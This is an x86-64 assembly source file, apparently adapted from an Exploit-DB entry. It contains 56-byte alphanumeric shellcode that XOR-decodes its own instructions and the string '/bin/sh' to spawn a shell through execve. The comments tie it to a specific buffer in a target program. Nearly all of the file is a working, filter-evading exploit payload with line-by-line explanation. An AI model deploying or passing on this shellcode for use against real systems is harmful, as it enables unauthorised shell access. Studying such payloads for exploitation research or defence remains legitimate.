# Slightly modified from: https://www.exploit-db.com/exploits/35205/
# Assembled (56 bytes):
# h/A//XH5PQO/P^hj5XVX1Fm1FuH3FqPTj0X40PP4u4NZ4jWSEW18EF0V
#
# Assembly:
# user@host $ as binsh.s -o binsh.o ; strings binsh.o
.section .data
.section .text
.globl _start

_start:
  push $0x2f2f412f
  pop %rax
  xor $0x2f4f5150, %rax     # RAX becomes 0x60107f. it's close to the buffer of 'name'. use it as the base of shellcode
  push %rax
  pop %rsi                  # Make use of '^', AKA pop %rsi

prepare_key:                # "hj5XVX"
  # put the xor key into %eax
  push $0x5658356a          # 'hj5XV' pushed backwards because x86 stack.
  pop %rax                  # 'X'

decode_encoded_code:        # "1FK"
  #xor %eax, 0x4b(%rsi)      # '1FK'  encoded_code       ; pops & syscall decoded
  xor %eax, 0x6d(%rsi)      # '1FK'  encoded_code       ; pops & syscall decoded

decode_encoded_data:        # "1FSH3FO"
  xor %eax, 0x75(%rsi)      # '1FS'  encoded_data + 4  ; "/sh\0" decoded
  xor 0x71(%rsi), %rax      # 'H3FO' encoded_data      ; "/bin/sh\0" now in %rax

begin_stack_setup:          # "PT"
  push %rax                 # 'P' push "/bin/sh\0"
  push %rsp                 # 'T' push pointer to /bin/sh


zero_rax:                   # "j0X40"
  # xor %rax, %rax
  push $0x30                # 'j0'
  pop %rax                  # 'X'
  xor $0x30, %al            # '40' %rax is NULL

end_stack_setup:            # "PP"
  push %rax                 # 'P' push NULL
  push %rax                 # 'P' push NULL


mov_3b_al:                  # "4u4N"
  # mov $0x3b, %al
  xor $0x75, %al            # '4u'
  xor $0x4e, %al            # '4N' %al = 0x4e xor 0x75 =  $0x3b
                            #            this is for syscall ^
begin_stack_run:            # "Z"
  pop %rdx                  # 'Z' mov $0x00, %rdx ; %rdx = NULL


encoded_code:               # "4jWS"
                            #  0x34 0x6a 0x57 0x53
                            # AFTER XOR MAGIC:
  .byte 0x34                # "\x5e" pop %rsi     ; %rsi = NULL
  .byte 0x6a                # "\x5f" pop %rdi     ; %rdi = pointer to "/bin/sh\0"
  .byte 0x57                # "\x0f"
  .byte 0x53                # "\x05" syscall      ; execve("/bin/sh\0",NULL,NULL);

  # syscall(%rax) = function(%rdi,%rsi,%rdx);
  # syscall(0x3b) = execve("/bin/sh\0",NULL,NULL);


encoded_data:               # "EW18EF0V" turns into "/bin/sh\0"
                            # 0x45 0x57 0x31 0x38 0x45 0x46 0x30 0x56
                            # AFTER XOR MAGIC:
  .byte 0x45                #  /
  .byte 0x57                #  b
  .byte 0x31                #  i
  .byte 0x38                #  n
  .byte 0x45                #  /
  .byte 0x46                #  s
  .byte 0x30                #  h
  .byte 0x56                #  \0